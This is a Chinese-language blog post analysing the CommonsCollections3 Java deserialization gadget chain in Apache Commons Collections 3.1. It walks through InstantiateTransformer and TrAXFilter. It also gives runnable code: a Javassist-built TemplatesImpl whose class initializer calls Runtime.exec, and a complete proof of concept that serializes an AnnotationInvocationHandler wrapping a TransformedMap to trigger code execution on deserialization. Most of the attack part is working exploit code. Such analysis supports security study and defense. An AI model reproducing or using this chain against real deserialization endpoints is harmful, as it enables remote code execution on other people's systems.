CommonsCollections3 反序列化利用链分析
阅读原文时间:2022年02月27日阅读:1

InstantiateTransformer

commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformertransform方法 ,如下:

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

其中这两行 getConstructor 获取有参数构造函数,然后newInstance执行有参数的构造函数。iParamTypesiArgs 均可控。

TrAXFilter

这里首先来一段代码

public static void main(String[] args) throws Exception{
        template().newTransformer();
    }

    public static TemplatesImpl template() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "aaa");
        tfactory.set(templates, new TransformerFactoryImpl());

        return templates;
    }

上面代码运行会弹出计算器。

TrAXFilter 类的构造方法中同样发现了调用了newTransformer方法。

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

所以我们的目标是要实例化TrAXFilter

结合上面的 InstantiateTransformer 类的transform 方法刚好满足需求。

TemplatesImpl template = template();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template});
instantiateTransformer.transform(TrAXFilter.class); // 获取 TrAXFilter(Templates templates) 并实例化。

之后就和 commonscollections1 差不多了,用 TransformedMap.decode 包装下。

得出poc

TemplatesImpl template = template();
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hm = new HashMap();
hm.put("value",1);
Map decorate = TransformedMap.decorate(hm, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();